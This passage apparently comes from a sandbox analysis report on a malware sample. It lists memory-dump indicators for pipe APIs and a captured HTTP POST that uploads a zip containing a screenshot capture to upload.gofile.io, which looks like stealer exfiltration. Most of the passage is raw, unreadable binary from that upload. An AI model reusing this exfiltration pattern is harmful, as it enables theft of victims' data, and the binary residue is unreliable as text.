00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found reference to API "CreatePipe" (Indicator: "CreatePipe"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000001.186039.F55F4000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found reference to API "PeekNamedPipe" (Indicator: "PeekNamedPipe"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found reference to API "CreatePiper" (Indicator: "CreatePipe"; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp")3d:T601f,Found string "POST /uploadFile HTTP/1.1Host: upload.gofile.ioUser-Agent: python-requests/2.32.5Accept-Encoding: gzip, deflateAccept: */*Connection: keep-aliveContent-Length: 1585817Content-Type: multipart/form-data; boundary=674e947b3ad7180580b00da2f5c8749d--674e947b3ad7180580b00da2f5c8749dContent-Disposition: form-data; name="file"; filename="SK_59376371006.zip"PK"É\¦ÝÐg-py!Screenshot/screenshot_capture.pngd{\Ýûþ@JP:Q¤éîé¤;¤©I¥sJ÷è0jÀmÿ÷ûú¾ïïó>S`{vvÎ}®ûº¯ë³p%YRbbD*÷ú¥*ü"Â~<:0¥á@r/«»gìdzøSu·i@³Ú÷î~ò¿CT\Ö»DÍÿò^k1êåA;Ç]*ñ¯èøÂ²R(H:éð¨ð_=Ã3¸)²JÄÔº±]y)ÞKKÛËör!îÕÎkTíyº´Üe²ÅÃ{Nñ÷U/×ýûw©Ì?3àî}ºó¿)®ò -³²®nZÏÊgkP,±G¿yhGSerRÒvaåEBBBTTTþÕu_qæÓØ¼ÀÆüÚ**§p]¦?ms?¿Í;>>¶ºSWWW\Ìñ9G÷ÍLîÏ±3«g+²1ÌÖÿôHê¸ºg¥opðØý]åºº'ÙP- í&ª¹\éP ÛÄ$ÏâGÄxxxl Y.<ÿàºÔµ´4Ýèªv8²°°P4[Èn©Þh5á[N¹þ?7ß,yµ.ýJ#ab×Ìá:c)xójTCiJJÿöìa6þKfCSuÉDjjª íÕ]Ú)7ÿ÷òjÂyÊ!(çÓ£a99¹ÿïå*ãôb;oI#Hÿ¿{ñõòaAÂÍ;{ÔòA]ç$buÙO2\G}*ÊEñJÄ5REÎ×@Ç£ÊUºåPDì]ö©í¨ë?DoK+'î¸ËMdcR°ÇûCúoµY_»|sÞR}_ù,¶û:j,ÔÆ+?>±cÇ\·êäÆð¼Eví(£[ÜÌXwO$ºÿâÞ×þõ.¾ëÃÇò?,AF>sZ»Üg8´.,..vXénÅÇÇ§§§wa%ûû½cljoDÉÉn<à°jXBË/P¦1óó/·ýÎ7óbÔéo&éÙz\ô¹lþzÎ´9_kóË<³´ÞÛ,È`ÕVà³¯ ú;O9?î-FòµQÜ|£?cã¢»ñýê¬çþe¥s¾qXÀq¿°¨îâÇiFqÀuÀxÎq«"Êb»ui¿|ñ&»!ý¢Êú?ÀºI/³º/vGYNVfÚUßáã«tù4^YÒÒ«HF¦øÍá ù«r%ÞR¾ÖÃìu4ùvªãh¡)^ÈåaKKq& ·Jí<ßÃ>vÓ¶½éZv111>>¾á¸ÝÄêp¶w÷[5Üt|ã¤+:-îSßL»¶¿ÜåÕ+~QK} >Í``¥÷)ä/xô2Óââ;¼Ã;×ê^çb¯AÆ,î¾¿øãêÞÞ/÷(èüMVO+Ãý«ÔÉ?×k\çt"½UpÜ¸e=]c¼Ý¨$çð@½ÉÚ¸»èECàéò÷zu´QeØÊuÞ¬öÃúèó´ YmvÝ=Ù%½¯ßx®^kgKÖÔ.x2E]n%õD3²ÏñÿfÚs¸6ô[ÜÀÀüÌL?·²K¹FüK+ Ý_p"ÝÖSØWÜ©ÑG*gÍ=2.(*²mà¹wOÚÇ}Hpò0?OÅç ÿ±3ëé¶b®åVÄð9'h+j=ÝÚ(Å{Ú"»ÞÆæé7`Û©«¹å{Ë¥Ê£L³¢ÓTì¶è}¿ÈâÊ §9²Ðû£µ_½µñíZã\W¤ÛJS±¥Rê?Ó¨ÂÛÜÄ¯Eý=åõ2lZþÖT.ð_ÝÒì§µ(Ô¾.|¢îð rÜVU¦^bÏâð0MÂgØYÊèNÙåàF]Ò:øWTóüJ|RòâñÍßyPa½«yºoüþ(^Õ¼:d¡´ªÑïü£qÂUýI;cÆþUÎáÊ¸úººý"UáÆÂî©ÿôL5tJË?22ÒúnÊòò;ü©n0Eþñ¿¥vì9y=Ú@WWw7Ô¥c©Ú%$"Òèø,¶?òÉÑá·CÌbòmas%'$¿ÍPÔã¯jÉ¨ªªþG1|GÌrsrrrq)((¹V%S¨²*l,ÙkO"GFT&mì®³ê*1öù6»RFñ¿R6\v00²©fâe,¦SÏVÁ%@õV=Ö·'ÿbLH¿áÙ$PíÓV¬=»O#¼[7ôg[øOhÞ©Û*òD%õîk\iÂØß¯Æz*DÃæ¿ZêªþuÅ?PTUS³Æ+ÑÓûð<>}2æ§»A0>ùÇ¥èÁUÖôÿüî]v¢cÎÌû?SöèÿºA[»Cqíë'ÌTiþ§1Öå#T\|||\\'I6,búæROë±üuÖe±ÏÔ¯hãLa»RR°üÿ9vö¢ü|cAé¿&ú|Òc!ÂûK±Mº´bíÂC¢ u1ªÄ_S²+QQQÕÙÌ6Tâ?Ì®©©[6ææÇÿÅh§¼g^·ÜÃqªOÉFÃ~pP/Í^Sä7Rfã\7¢?6#®nß¡ê¯%Þ'ÒSoô÷T¼qÞ-´¼ò<¯ß\bj¾~Ïkg¹7ùöIþÃ}%CiE³%ö¬&2ÐÜæ`3ïòa½§K4|xã]¦8Fa&Æy8@E»¸ZÿÜ0ô5fafçpÁÒÁËZp¶7U"`B2ïÌg¢0sWêº{Í÷âX5è×«´ÔÆüãÏ§ytõ½Ü¡Ì_-Aí¤¹Òy.ðKrQyyL0xäØ"jhPS·Zàaø}6/¥cÌ©]CA·XüèÜZùÓx@Qª5¾Bÿ£a1>1±fÍÕ?®ÂåþU9[2ÙÀUg\p¤ªí-®À}àMÇÞ¾?³\=WÍínm*ÇàÊ÷´´´$¯¾ÉôA¡~'ÓvÍ»|Ç#À»³Y@ùðzöJa;=íå-ØúQ5×^¼rî¯ëJýwEPkÄ1ÿI~iÏçyVv¦k»L&åÎöÆË´üøpÄcy{äP"5 °R0ßÝùf7JÆHñ~¾ÅbÓ°83470T³B¿~éJ´¬¥kUè»o¾éQ+ÿ2¨gût)Ä~ÔÛ²ûôÃH~SPqÆÇª7æg!ÿ¨tó{ÏXÆçÆÏq~¢Øq>ÌÊWçS8f`óñª>)pý\(ìçhgWÎÔ³E¦ÆmÕ®Õ¼IÇ÷TçGÙØKÀÕ¢7¤°Ýh_ìþRG2·Îá¨²F/øòòèUÛQ¹@ø~eöXýÒÏaK?ýÑCøU£W"»Ï2RGZ×µàí!¸A÷â5HJ×©5×xë(g+è}4ä´>XRÇÎqd*K¦&OÚUMê©¨T;ttÛg$$¬"=[í:à§ÛßYéùijgj¿¦»1<*½ca¾ÍZe¯R8ofz®z]ëùÔ%õÊîy)â}Â=ñ!o5/:>&?ù`Küá«Ëû4-»KsúiHÈÆ0®þPÙÅ\wzûúJ~3:cQP¿«eÀA®Kr4Ü¡Äp§>áÇ!@¼ìwÜöÎîóâxëïéÖ(; ¹(%Ä>ÊØ2à³ZÕ$àðÌ+<áËjÛø¿ô±ÀÌ?¨to"õº°G?Ô*I¿eìÍäàÔe÷#Ô4ôaºú[7Ï¤íôÊºhC÷êÜ°\RZ_}zMÿM÷Èì¦ªM:BH_Ôv`Ïz¤'ëÔA*ä.¥,Êw\²=4K¢Õëto¾ùê_³¬UX¯LKÞtHàS÷Ù>à|Ækô5u<ººéXßOäÚ÷®ðw×¦2#Ì7»Zí9nvæ[UÊc·¹°c%ùÆËÒJáo¼»¿¥"søã¡@¹Y!m7Ç=Tìéû`¢_x½Ð§nÛÑC>|ØÖãhÒØQíbàÍÌXÏ;ÔáßsÈñI}NW³ök¡Lö;úÄJÃÃÃ«ü^wÛú}bu¼ùûÝ.\¸q0 Þµ^©ïrÚ§vtÍÛ¥ecZ@¨à¿ózæÝ`p`ZM.:ÙÔ;³BZýH¿÷s#ýþéx#¿÷óÎäOäFÚãvËò¨zÛÙ"ï¶µÂ$Põ^+'1Aµ*ÝQÒÈQ®`·j3Cxò½uEBãzwÝÞo5ÞKÅç¢eÙzDøîf¢>Ü¨úýKÐê0ÝSîØ°ÿ[a½7ý+Ã%7é\;´_ÐbËÃ×ùk°ÄÍ>Ýú¼eØêÛ¥«t]¦Õ·B6ÃÐ{¨l~ãg½¾uëä»Ü~¯5¼y¸í@ühù½ÕþÞÌ¬K§óI©·)á½8¯3 ?µD ßóNüïa·p[$¨p¨kk[¦©tÓ¯öÅ/Ù§¨{¹ëÞæÉ´ß¯7sö«ð½Gy[T>èc§Ã¼E`¬òÈoêv /!(áW}ÏÞé#zßfzõ0¾¨~ß,º[%ÏÓ{/à¡ehª`õ¿°mçN`>5/`Å{«t»6`TÎð!Ôvë)g^.>n0ñþ`ª@³3e#R4-uµÒæ/®¶Ñ_?j@ÂÕ¯ÂÙéø¾áÈ¹6¹´;;°yîô(AÂÖ¶3Ún8ÖßEg/!##þýÜîý½Â(oO;ÕÎä!Q,mÕF2Îá-tÏ,I¬Zøÿ-ÛZÔ[OHqÂ{²=Nzüøq%Pr^EÒ(¦>.°¬ºÜï|j¥Ô-ÔY.ußM¨¯@!ÈÏ-ZC÷¥Cik§Ww4ë4,Rduñó¼¼üûúcë²ª6Ý6oâêÉämÚ±®¢®f@ÌÚnþÝÞ«D²ní;wð@>¹'_vpY= 2]â¦»!¬kzñú×Ú¡Z¾ët#×MªcÜÆ<ã 1ÍÄ8ªô×VùOïÛ¶AÉ3¸Vor_ ,}E=De<|üáÓ9'Ë!=öË#èP£p®Öà'f3ÅÜ$ÑÇ£ºº3CB°+Þ§QÚ2QÓÂÕÑnÒ"J:4C¶HZì;æîÊlé»¾ãÛ}3"1 y3ç+=&û9`Í£,¦q@Éøû¦\ÿFGö¨zÂeè¶ûÀcÿZBý@¾áEüïû6eÁÎpé©C&hÇÇkªÞÒòmM¤^EÅpPN&ßÐyÀÄÃ8e#£þËþl×ä O¤7õKõ¹\aoý8\:q¸Î¯Ü.Åëe>ü{å[üX¢ªSª¹ðoI>ZoaKÛÉp`ÕVÍé+4+Ý.ÍS6ÁuÆ§þ¬kvçqcÅUmGViDôúAÖî¢o2ú[©T9wÒ³:ßïRër:rdWð»ÿò¯=õe Ã»ºº^Ð¢ÉÜM5¹X6GHXß_äeºL(K¡Âp/ÅúîKÁô®'1ý-¤gUó(éì æs:h:èSI?³HeMùfûb/`ÊiOJänmmmÕÕÕñµÝ½©¼LAì,Á=®5ÜX%9^NÎ[nwÂµM¹Ù»V6&Ò9Kì giØ~¾-FÄ)ê"¿utSÙ½Í¿©Ôþ¨(È²½2/@5 "ö¹ðV ¿LøR@µ7Aÿ9½dC½7ÊQri@÷ÐÀÀÀð00Èx}0utEGÐ+Á³¸l¸±g!GæúÃv)i®©T«Ò4Ê^ú¼à!Çd¡È7PC°Så?¸ÚÎaX`-<¨Æj»fK!hÞf;ü"r×¢?ß ´Ø×ÒnÎóýéºl,CRAóíw´¶Ïm+ï1õ¸ZÌf-µ´v'ñ@qÚäæ¶kÖÛ^l5|Ü"yÁh@ ÊA8éIÆ¨*â»ãJÂjØ| ê=¨=Ô7ÊE»zÜRðôÑpUf1å¬)*48;ÌãÞ6Ï·ýÂ3c~j?5{sòË÷µ[n«Áø÷Þà+j¼¿w»g£Môô5dKä^ùm¨=Kî¦DB_Ç`j¡¯J·}·>÷ ìÿuÓ&^Ëo4(âë ÿèDº0¾µ.MOßõØ{Òö^îó(nÂaT¿Ðèÿæl©âíÒ«Þ¿¼O,v|ìD?>Å×®~/G@å-|BðÍÌ;¨6ÿÞÿ¥ñP ÏÅõ¶~¶¤ÏÕrPQÂÿb¾ßy²bn{a×¹@tO?Nmdû&&\T¿Áâ{¶t8ÀçÖFÍÕ$è°Ü9ièµ ¢Þ2l²VxýHÔ.R`¶t:ûeâòVëÒ<ÊÌÂ¢óÛÖ$R£ÝÃÃãìçûAÞ}àÑÃZÜenÚó#Ãk1ç»µsÐ1,1ðjWqÝx(õv]Âý~p¾ûýC/\ÐKèÆùæ;ã3Ñà5jóÞ_üA.¾ï¯ÍBÃ´6¼q¦ùHþÐÄ¡éÒs@EKS3)ì©áõ«õ0@HCn±¤ÛrÒ¸EY;¼¿XxÙfùÈ6 ÀumîQeW©Yã29ü(*#ãÆCú®ÄH¹Û"7¥+¶Þ¾}2£ÓUÛ3¿0CT\ówAðXKE ¾¯)Ú½±dQÈ?Q[ Øþ0Î|wÌB Ü²ÓÚ*½KRÓÇØ®2¶ÎÖvÝ&Ïðtá1ý'"S×wÕcÈ±X»Yêì5U3a÷ XCm&xúSrÕ£½ÏLÖ¬Sç¼ýÇ¾ß^Ò¬Ç±)$q{=x5[½-ä^0eò½-5×ï[2C6ßMn(ÃjUëkh5Çs[}ó%ØòµÔæ«BÐ³áÛ+íoLÂ¨`¬h·Ü=ÌË¾ìGïÞIéhêEy)Ó=ú-¡þWõeÃÃ@@°ºÑ0B¸Á|Ø5~Á.×Z=ýýýMË\·vãxé¿ï @:4C@5òÜ*ÈMò°÷®`Î¥01¦ÝQõne&NüN¯]ïÅ¾d¾Á¦çóm´/$ñ]Ym%üqµÓÆ°ÍLÝï&ûOÕðâ$¹5]ØÚ³éJ§L6×¦m/èÁIÖJuðÝHVæÌóï¹bäE±#êOÇ=ÑÍP{Ëð°ÿuç!jßÄ¤e¥'6²IÂëÊö3³ç³ð`Xç7¶/¸Ú%<¯eoeBâþÔædoîI ]ô¨TýÁ.S¾°:£ßmþéºL!HíceÏÑï&®ën£Êx`ÓiÔeî5K.¬©* 2>zU¬ Räû(]´6z-&Çèc<Òÿéæ½;ÛUm¼%{tË!fjÆÓ¥4^ëlLÝæ3ç³î0¡";É.óo]o_;¾æ?G/6û°LæQuÓ×ÿÐtÆÙÆ&ÖYF ×l8%ÆÎ@Á¯øÂ÷çÑa5¸¼|íñýW\1R}hkí¦1sÕ&6µÂtD>çÇ¿ì$6.xÕÖÔ|´;::D ãjoWïÞé%$Å|¬ø 3>átòÄõ§Ò«þþJêp=8þëÕÜlú]Z@B»JvWË#!8)J£C~#ùmùh+¾z@Ã% ÏÞ3 Q¹[©öÔÝw2ÛÄ&YÎýú <(¹ÏêM73lps ¯p×²·DN½zÃëì_¾ÔÁyäXð¬4¸"j£ç&Xúj§SÅçÉçt`hví×=S22ðn©û_ícáµVf¨%q§â¦¦>¯2µÑ1ÛuS½¤&¦V¼¡!W¿9òêmPåª´Äú}¤íý½ýÇ¸s6`¶ÜÓ)^¸òU>¿ªirgÝ pú^@ÿ×ZË2ª¶ÝÙ1³R½nÃá/oß?4ØÌ6¸!p[ YÍÝ#¾¹ùAú>ÈqàMuñ8¢1Ê£OäKvG\wÓ23ôõo¢åG;&S #=E6Ò4¿xÞ´¦Ò% 7Â$ç4_X¿¸ÀÏäCæÃù~¹}!4æÌ÷ÊùÅÜ^4ÎtX-´ ê¯jKýdG«ÅpTù¾^ûÁþRNÙ@R#/»Ì@ø[ü$'¨ðJÔúPºßé¼FãèÍ+z¹Ò^3h¶ÏIª0}6Ñ;|á=ÅÑO?ËÁ¥Pcî9QC%3h}ÄòÙ4Æåµò%uÌDXÃ0ð)rRÅ ?Å÷"þÎSI0Ô²JÒïnn =Oh-dÆ#Ñ$æf|ÜÄ×¾fOM&ï,ÞöõJA.µåîd:D"wögÁþ¿¥uº?´Gù¸<ºÈ¾)Ö¶÷þeáÝøXI®6Ì¼A\fXm;MEÕH!ç¤pÿ©í©m`å®wßgPXIß'«÷¼-´g¿Íº9Ar+ÎÉª¬Psûç6+½û-ùí12\y¸tyí°*KËNS¥Öó<@~Íºü@¸=¼µ¨5üqîðñAã¥¶÷°=|(wÙ'2ù$".9ìÜ®Òôitèèf|ê>kÍª¾J/¥ÒàJHÐ'³¡PÝ¨UnÎ²>ýÀ<ô¬ÙuQ<ñ£ªo¢¹[»ð¼TÃm{ïQôd^m$¦ÀúÕ%NE«ôaû5ò,ú×Ä7U´,Ò ÃÃIÃÀ§Kå(gK:ØF?ºÕðnôP<[¬õQRúÕ¢g4ÿÕâqpb°ÃÞ\ãrÜ£Dàó@^+K¢Þb~ÀÆÖ%@v[Ôàé¶Ld¡^UDË«î°ptÈ«ûësÈl«?®à>t0H"e|J+ÒÄ=éÐ·N.uO²FÑô\:¨9.À'vi@ ºÃnø3DÔdêÙ#£Iß~FµXÉuJ¤K§£Ó/¿©1þ7+2ó1>AfÎ|9}¤ÍèÅQ[½FsòÐF§f%ð·¦iMd£Ó½¦ÚÆÚ¹7Ó¾£E§zf_dÌââÎOx6·i}Gßô}k»æO>ïsRáYÂÌfI;BäâÒÍH@9FRÂMxëotømË×¢áÌÚa¤K_vG×vf>snÿµ¯ñºÕ|w¦ÖÀù¢àÝ +Çb=Qî`xý§ãjX´Î´¬G¯îÃÙþpò5c>ÆÆLcú ÑÅ>¦:@XæGsüìÚÕÒBq§QLÊþJ!r0Îo¯tyrfq÷Ë"¤p³¬LHuCÜs%*óÏ½'2¿ZÞ*lí\·}P~¹)T·É!4×g[°KñS\áÉÏ³$etç~ëEg&#]º"l>HÎÊTF]ÓîtlôP¦ÅÑ¸<¶!Qð[;CÜÃWÛ¼¯,ô9;Ù³½;rU~_îf´û8^JÚovÃ\¢Ê4+..ÐÙ¥PÊpOK6 ÀÇJÔÈ÷ûØ³Ã¢Sª¥ïðYÞ}+=Í^ºÎN:ÛUûa1+Ý>}ì@ì´*`ås2?×õñzòâgïqïo$|2´Ã¤jÒZàæFha6Ø±pµ©òn²h=T°Wâ ¨¦=¸o¾`ç êH¨bþ©íKàÎâ(½B*ú±¼%¢!á©m|êGpâô¬ÔTôÕêeÁëë?©µô7»!À0ß`6é=+[3õðiìV÷eù>»º-À}Øø±@~iá¿mÈi`Â¦Í¨áËÎÍQwÅ¿ëà<{g^ó¿ý«Ï²ÌHOOÏz#°ë¶ªêÈÕ¡´ÃÕ¾«LfñÜ0Ò:::}}}²1Ì.þ ÛÊÝêuZXTÃ"%ÉÇg7÷Ýá*ÌÈ=QÛòµ¾KS333F¡OnÜx0å§*íiÂH~~¾½ðå|7âü±qä.XeT¦eX%DEÜõéößÍxôAQ*aÒ5ìõõ¡Á/(ÌÇ¤O~Þøüz·DY½CÛÌIu{£ zÞLU@UêÝ|'#ù2ZÖlk£GÞ±èØ/¸gk{±¬Ç\XÏõ¿%i#1;SßL73uÃÊâX¸Z{N²~á/!0#}ý+Óâ(?JAòN«oÿ#çy §Ûw*Pß% ñssø3¼4rÆë×hÌæ£ ºj¹=g¸©Ô ¥ôÑÊû`ð¾Y6¬X;TUÏÍlnönx>^ìÉí:Í :*:RÌ·ñÐ'sg³gÙ_ù»ÙÌeHñÏ>àtÞÅÉ.<|Q³ß!°þib þÍ&FªÅ/·NFÜ}#//¿ÌkÑo)©¦û¼&úÈCÍ[<ÿ ¤Û8AQ´¹ö©fn¨Ût ª?NNuµÊ¤ÃWºçÿìoJyg=PL«¿óHÄñl?"êp)Ìz¬ à"e2sæDùt0ÁÈÝ%¸5K?`mÞµ²¡d·H\ww¿Ì¨@*¿ñ³t;ß¯Í¤Û+Kï²yñZ^>n#IªCàìíÜw`vÿ³ñH½rv°òêÕ«qß/vÕ§bnÌÎÕùù/7ÛFd¢À©mï©ØºÚÜ"½ðÌ@á-½ªªª8óéh© \w`)66üÉ?gV©åJ<»#&&6<1w.#ÌÄËÃÃÃÅï_\ÇÇÚ:èÈgwìÙá(ÝÆ×VQQÍÎµù\¨M> ù³COqéå\ÆüòåídÍaº«t("{C$§¨í'ÜÀÙÊ7MÍVïÜÃÿ-=á¨oy²14´´ÍÌ[/p=8¨C;¤4BÌi>Í««ïH]]F£u«««TjÖz¸ú¥Õ/ùªvºþþÒÍDÈkÅv:«sÍÝÛºIDª1=+HOJý±ÄÕÏ&ÆütDx~äÀä¡.<7ÿá¥8³²6GGGUÕ[¼ãÒt¦NÃ·~&¨¾;¿`ùúÎ%ìïpýsfaäNXcÞ³»JpQÆÍN6tLQÝ¶¶®kÆ¤3¢a»å=ø·1å0üõ+\¦ÃÝËýùqhÇ¢vÜl=QµHÊF<«èý÷wYÙDõÀ'¢~ÆØHè^JH¾ ýåx¡¾~Íb+öM6Jµä?oÓ0Û¾æ]j²`)½&KeÆÔ]´JÏ»Ügÿg Ôk½3V;$ÜÆ(n·1øq2Y¾ûO«EO¤lM:ùPÃ°¼~gKÝÑ#¥rÏþÐuâ¬¬iÉZ4>¶éôeVÝÆ=¤ôZÓõGLdÔAÒb$$5BST-Æp½]ÈººqgVVi¿ýrÈU¤vÌèTö\øO³.]b5/DYä!//¤üJÑ1ÌKäLVèAHèd×.4â32ÆP"¦Rèº`'ÃÉå;ÅøÂÁ¸ÔçAéÝz±É´HÎà?8¾EëÚÔþÁu-F±Fûíkñ¾«\drÛÙÛßVN*SþòMã\®Ó½²÷·FAm(sÐ«±bøîvç&&rHõÝã½yëÎ°%Ã*B/Êf]ÕÊL×å¸ÿ (zs1Fªðx{Í¨uÕ?Ú`#¹>Û(ö)ù/²¾¸k¦,©ÔÅ¼ÌfÈnö±ËÌw§uf¯<¿ëË"C4ÌÚ¸bèg«µgO±-/ìbkFôËvM,hO¨v½â.0Î|Øré±ovÍËnÄC³¸{ÐK¡éd«·í}³â.í.l}#ûr5¾ ±Qj,¿×¥DùÂª(óÀÐÎû-Û[õ¬Ê¯>K|HþóâdzÁ\{ùé9úwé{øÕm¸}ÈÃráøÿûójD òäÛäTÉ!Á}¡î¹í-¼7UNåÐôU§°CøôX¸ïYÆ'^#ôßÙy*uY½µøC]9k5üa¡Å+fïÁ1#öH÷=;x©©R²Èø]iÐúÅÀÑÒ·qÄ¿[<ä·¶«&©¨¨h¨¨Öo÷VÇ4Øez-ÐÙÀ³eq(×Ü`CHÆ´?\v½àá1¬Áæ¢ýEÌÁqXâ´æùµ·8où7ôõÍÆê·»háR_?üøôd[ÛÞy¦®F£¬ÓIy i9õ!ð[.Ù¸EÒ8d$eàhs#òYÎæ¦2+à7A]0÷r98R ù¼²³¬Ç¯¢]g·ÑPEõò]ð<ÕK±Í#Ãô:iíÉ&ß¸çËïÇ;avCÛº±j1ucT £Éú;Cå"Z**&1×¯fÿK|Q«Lr3[kº{£`yé^cAà+®]Jæ`g×ÉønXÿtNÚÍ¼kç¿¡P·Ö[+%§kÌà´\ZõßeßÈ¤$¶¿¬2¶÷G;×)`'*t5ÀwÂÎgÌÁ8þNPxMxÀv´Yªa4®bØ= ´Ù¼1í·¡SõÖÉë<+e®ßÇgV¯SÔ=¿áÏ@\wê)½½ÏÑ½_ RÐÀ¿ø îiOuVfçÌ´É(J¦4rÑæÈP__ô,²eg!+Ù@j}÷@KÙx¸½ÓPÔhÅ&ÌåO§J¤gN|·ý\íú¼K??ÛùÛ'G®¶ö]«¼¢*¸(íéPÔZvk2D{RU=åâA4èÙcù>,|ÙHk1Y/\tK'5*uAóI£Ø'çø}µ %u<7¿ÙÎ7Õ÷ÙVþÙNÑM}¼úf\BÕFYPÄWïÇ¥¾}Ñ4Im¼ïHþ@]=ÅKôqj®.<ô7Õ!ª_äSà×ñ6OfP]ãÙÉõQöñæpÔ×¾W`eIlw/C,©¬Åa4¯i¢6º^rn'®äÈ|î©YÈ»ÿ|H:|l=¹0nÍéô4OfºµÇ 9ë^L{9vn'ÛççKì²×7Øë*(Ò?¢B>TP\(_ÓJÅ0¼;K¤DxÙfwÆÏ³4î Gã, .ü=v2¯Ûþ¥ØÌDALUí XCÒOZ×'üØKº¦¶¶ªí¼ìö°ýþZòÆÎ|³8¬Æl GÏJ1Ê"ÛGm= HÙ^ÉÉ§G|ç/o¦{æ0ó4ûZÄÁ ¾Ó.«Ê8Ì[ë+æÝmªÉDåOOwxu,# 3'(±YI¿é¡áser=¥¼½cu¡ÄÓ55j=Ï?¾°W¶5ÄYPüÈ÷Ú»5H«7§ï½ $îà<æ{dÇÙè.?QSf«¦±Þl¨ïÁÓ"µ¥3ÎëÎákwðBØ2¹](øÝfùÚøWh-0_¿~ÅCÓ5ÇWlú¦!ï½)2³~¿qG®À~ oVq¶-øÔÍ°Hx lc]wkìÍ;åÔl/¦OúYö³v .§ó+æÞ¬&||W}²9Ò®w%öFÇéAþIØº¦×JJdxÖò8{y|Öã¥k6³Z¾®`Z#gÃáFv¥Uì£ßºt@7+±àgâÂgçAÛQÐV§!Ëë ¹¾>z îÖ¦H»w÷+µªøG.øIÕÊ²iB8`Nt'H8Ê=_íwµ¤=Ù"¦0Ây::¸§Yç¥2¬<´Ù¸~÷HÍM\¿s¶;ç*^ØB'Éå6l¶2ÆZO²ª_£/6uç×P6i÷Ó³®|õU¤mJÛ¡©ÆWºa£W~Î3&µIÔï7ñõt'ÝPYrÙ}?"áfà±f¬qAýú6èÖD#Sæ°p ¨ÑkùÚá¦/þôMÆcxWêm±¬¬ôÓù7âfëP>LªÚE¢¸zëíÏ¢L×üî¼¾üp¾apûKëY×ÊßNÏÀ_ÊÏ,áNVÊþn9Ýk]u~¼;osiVPIuJs¢¼ù®qçÌCµÜñÈ:¯®Ëßy¶ð´ wÚa®Ç~ØÆ½ÑÄ<õý¼¤z2îBÎÖÐe¸×ÄbÉóÂé£§2àzj±ëL¡¢o¥åËG®GF3¹6HböV?&ãâ³=~÷ZH5¯¦A|å6æ3¢r=2ÊY>q<Ì©Ç1tÔf¦ÊxhÆÙÏq}%FèÌÈïELQçK$wÏëÜoaÔ¼À©Ô`ø&%ªo:åkDRÁ{_?ðÔ4ÏIE5ÎðcWûmë¤ÊßùùÐa@TÕVölÍú$¬¨ëÞ££ÊÞïL¿\ÐÉ¤}¢åäéq[öB´ÿpÞjótÁ°@óÁkÌR³*¹]vNÞT5zÚÐr2.{0PòºhIúÈBûáþµÛ«V¦+2<äÛGù»®~[úSÂF¼b²§YNf[÷m¼\üdJðÔû\¸6»!¢O÷Z"×ÛèúSj=¾§áþºZy×Òs-$óøE¨äy)·ùÐ$vóãE¬ïnÚBmúëK±uRïíyXýÜYÐí®r*[QAÚµp$[f%õVÌÕ:ßåstïuìÁ§; UZSÞµA&fÂöo5_)@LbôÂi,H¸ËCkäM"<}ç·t®¿æÀ1+r0øòVÁì7Yp¹âðPZ¦¦¾j×¤-5öËïï¼÷+&Çb¨;{¤$ëí×-vV3D0õÖe6$Ç»¢gGÝ§ÇHìgeÂÚØ®ÆéâzÔNÐÂH>ý£AãXäzâíÅÐD>²Ê`4s£ëºé½úó{Î^È=s$Uá»4<ý¼:'zõõÿ¥Â¡_YQxÏ.»¿ùöÞÜE=;¾0Ä÷ÑzªB v<Ï"/LI=àh~ÍNãîÆK©`äèFÀãêìÐÚÁÌÇîØoýb½íækØ8ÜpøÍ"´åbîè'hàj~¿RûîÀuÍT¡{æ¶±@vGmñhörQôËËl©ãÃ_]j!.[å¡mÆî«YÐdH-È¿yx¯öörímq-Jù®¢»NÚ¡n¾fËB~\Õ®ûwcDä½ßeï~"WÈµgÇ¶Þ¶¬P®Ë6:G<¸zH ï4|å_}WóÚÊ©ëì(´Rª§]©v.ÂÙvÅØì]ÜÕT}ù¬2¦ZÂQcfãöÃ"Z°>¼4IAEgÞõê&Ôà&(à>gö»é¯êàÛ´T4ëk·¯Ò]Ãq[E²³7Ãìt_=ý8õ«vÃ{ê'!îQ£ñc*¥|Ï§7\¾ãGHmÚy}·a=EÄÄ¼;¯ÿ0Þ_fËÉâhW®÷f§Ë{Y#ôtzÍÿ:þÓ¿y¹éÑóûßîa¦¯÷xÖÏÛOÂ²½½¸öKäZèp:øcì¯ÞMÙÍË·¶ë\P$¿ËY6õCs·%r¯ÁPdôzOrów×ÄtyiHÜQZ¹rJ¹L¦_A´ÞìA±¥ÉiØYØÛbZà¯rÉÉ?Î2É7È~ÄV]]¨ÊµÙä½ w54rÝà=Z]çA±ýâñÊñjfKà¡Ì¸¹Gpê¹*´¡ÍFHénÖ{£R"SÔeîÌÀ[((v8sØ}åºrS÷Ni"ÈØöãº·ÝÆûÝé¯|7oç®¤ÜôÇ~+²iÖËÃïÌþ:G!êºc µKéØÇ9m5¾¢5p¼çñèq}e 537k°sótM*''økW×É½Q".³'õÖY~PìÉêï9[.Ï¡6³~ß½GR·n7ÑCã}îÿstýn1;1?hWdød©PÆ ?g3ýÒÐT2é:·Zg×~¶ðê5@cfÏâØÖ¤¼ëÎSC×ÕãÆZ¼e¯;üú\ÈÆ¶û1îbÈÉw4Å@¯m'R7hpàø¯fxIéx`ÊKFÕ#×¶ÏÛ?¹Áýñ¨AÚÈµIÁJ"¹ýý&¥mlÙtÇSh¬pw¾´Ïb^LÒ%Eï|«25þcÒº+? O£¹-&4l;Ò{IÍáúvkFO¦A:¬cz[×vä ¿9m0Æì½µ©ãS²9.Ø°(×?8è§f_F¦=JÁü¨FîD£k)(ëx xºuÁ%¡ÞmX:uú}"ô4îp7¿ºu:âj¾¼5ZòmT¹ÍR±3}øÎxv;Ý°7ûb§÷·)%¢mis1:ûrtª1¦»nSÂP®µ-}ÊÚ;Ó_/ß¿N>Î¼ 